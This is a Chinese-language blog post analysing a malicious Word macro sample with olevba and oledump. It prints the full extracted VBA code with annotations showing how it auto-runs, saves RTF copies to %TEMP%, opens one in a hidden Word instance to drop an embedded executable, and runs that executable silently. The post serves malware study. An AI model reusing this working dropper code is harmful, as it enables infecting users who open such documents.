宏病毒(2)

 

样本HASH:AB74EE2373229626FE368A83D98F2A47

扫下VT,可以看到有45家报毒了。

宏病毒(2)_第1张图片

微步在线查一波,看下报告。

宏病毒(2)_第2张图片

执行流程

宏病毒(2)_第3张图片

现在来打开样本,日常宏警告。

宏病毒(2)_第4张图片

这次用个工具,把宏弄出来。先用olevba看下大体情况。

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|AutoExec  |Auto_Open           |Runs when the Excel Workbook is opened       |
|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Open                |May open a file                              |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

 英语不好,翻译一下,看来操作还比较多。

+----------+--------------------+---------------------------------------------------+
|Type      |关键字               |描述                                               |
+----------+--------------------+---------------------------------------------------+
|AutoExec  |AutoOpen            |当Word文档被打开时,自动执行                         |
|AutoExec  |Auto_Open           |在打开Excel工作簿时运行                              |
|AutoExec  |Workbook_Open       |当Excel工作簿被打开时,自动执行工作簿                 |
|Suspicious|CreateObject        |可能创建OLE对象                                     |
|Suspicious|Environ             |可能读取系统环境变量                                 |
|Suspicious|Shell               |可以运行一个可执行文件或一个系统                      |               
|Suspicious|Open                |可能会打开一个文件                                   |
|Suspicious|Chr                 |可能试图混淆特定的字符串                             |
|Suspicious|Base64 Strings      |ase64字符串|Base64编码的字符串,可能是用于混淆字符串   |                                  
+----------+--------------------+---------------------------------------------------+

使用oledump.py,将宏代码拿出来。输入指令oledump.py  2.doc,然后可以看到带M的字母,表示这段数据中含有VBA宏(Macro)。不同的是发现了一个带字母O的,它的意思是使用YARA规则contains_pe_file。yara去找Microsoft Office文件中的PE文件(可执行文件)。规则触发对于流12,因为它包含一个作为OLE对象嵌入的EXE文件。

宏病毒(2)_第5张图片

该工具带有许多参数,如果不知道,使用命令oledump.py -m来查看,反正内容太多,我是不想看,记住几个常用的就行。

-s 段号:选择上分析出的某一段来查看内容

-v :解压缩VBA宏

a:所有

有了这几个参数,那么一条命令就可以提取所有宏了:oledump.py -s a -v 2.doc >2.vbs,我重定向到2.vbs了,没事别写成.vbs,怕你直接跑起来,我这么改,只是单纯用notepad++好看写。
宏病毒(2)_第6张图片

现在开始分析宏代码

Attribute VB_Name = "Module1"

Sub Lhgeg(Jbfw As Long)
ghe = 88
Dim Bhrwq As Long, Nhdw As Long
Nhdw = Jbfw + Timer
Bhrwq = Nhdw

Do While Timer < Bhrwq
gdye = 32 * 1 * 1 * 3 * 4 * 1 * 3
Loop
End Sub

Public Function Fatar(fje As String)    'fje=C:\Users\sam\AppData\Local\Temp\t2.tmp
Dim rkw As Variant
rkw = Shell(fje, 0)                     'rkw=2828
End Function


Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoOpen()
    BHJAWD = "12j3k1j2h" & "asjdhgywq"
    HgrfFvsw
End Sub

Sub Workbook_Open()
    HgrfFvsw
End Sub

Sub HgrfFvsw()
    Hehebhd
End Sub

Sub Hehebhd()
Dim ggfdf As Boolean, HGYW As String, rtr As Integer
rtr = -24 + 23                               'rtr = -1
HGFFD = "T" & "EM" & ""
HGFFD = HGFFD & "P"                          'HGFFD=TEMP
ggfdf = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = BygeSw(3 + 90 + rtr) '\
DFFVFE = Environ$(HGFFD) + TTGDFW            'C:\Users\sam\AppData\Local\Temp\
JIEKR = "." & "tmp"                          '.Ttmp
FFDRRF = "" & ".rtf"                         '.rtf
LQWDO = DFFVFE                               'C:\Users\sam\AppData\Local\Temp\

FFFNNNF = LQWDO + "fhew" + FFDRRF            'C:\Users\sam\AppData\Local\Temp\fhew.rtf
SSHHDD = DFFVFE & "hrbs" + FFDRRF            'C:\Users\sam\AppData\Local\Temp\hrbs.rtf
WOIEW = DFFVFE & "" & "t2" & JIEKR           'C:\Users\sam\AppData\Local\Temp\t2.tmp

VffGghw (FFFNNNF)                            '调用自定义函数
VffGghw (SSHHDD)

Module1.Lhgeg (2)
BHJASD = Chr(101 + 9)                        'n
BFYHJQW = "j1h2jg1hj2"                       'j1h2jg1hj2

'创建对象CreateObject(Word.Application),使用自动化从其他应用程序控制 Word,使用VB的 CreateObject 或 GetObject 函数返回 Word Application 对象。启动 Word(如果尚未运行)并打开现有文档。

Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yGvdgw.Visible = ggfdf                    'ggfdf = False
yGvdgw.Documents.Open (FFFNNNF)           'Open C:\Users\sam\AppData\Local\Temp\fhew.rtf
Module1.Lhgeg (2)
HYUASGD = Module1.Fatar(WOIEW)
Module1.Lhgeg (3)
yGvdgw.Quit
Set yGvdgw = Nothing
End Sub

Public Function BygeSw(wbrw As Integer)
    BygeSw = Chr(wbrw)
End Function

Public Function VffGghw(ghe As String)
    '使用新的名称或格式保存指定的文档,
    ActiveDocument.SaveAs FileName:=ghe, FileFormat:=6
End Function

Public Function Ftwfvs()
    Ftwfvs = "T" & "EM"
End Function

Sub Auto_Open()
    Hehebhd
End Sub



总结一下:

1.用ActiveDocument.SaveAs将当前打开的word文档另存为两个RTF文件,名为“fhew.rtf” and “hrbs.rtf”。文件保存路径是在%TEMP%路径。

2.用CreateObject(“Word.Application”) and Document.Open打开 “fhew.rtf”。 

3.在%TEMP%路径下运行一个名为“t2.tmp” 的程序 (Shell(“t2.tmp”,0)) 

那么这个t2.tmp是怎么来的呢?之前使用oledump.py的时候,就发现了带字母O的流12,它包含一个作为OLE对象嵌入的EXE文件,大小为76998,那么我们使用7Z打开该样本,找到它。

宏病毒(2)_第7张图片

使用010打开,发现该PE以OLE对象的形式嵌在该数据流里。 “0200” 是 OLE 数据头签名,而“00000300” 表示的是该对象是个嵌入式对象。从截图里,你还能看到原始路径,文件名信息等等。攻击者利用RTF会释放临时文件的特性来释放“t2.tmp”。因为一个RTF文件被打开时,该RTF文件所包含的OLE对象将会被自动释放至用户的%TEMP%文件夹下,并保留其原始的文件名。

宏病毒(2)_第8张图片

把MZ头前面的数据删除,分析这个PE文件。

宏病毒(2)_第9张图片

你可能感兴趣的:(学习笔记)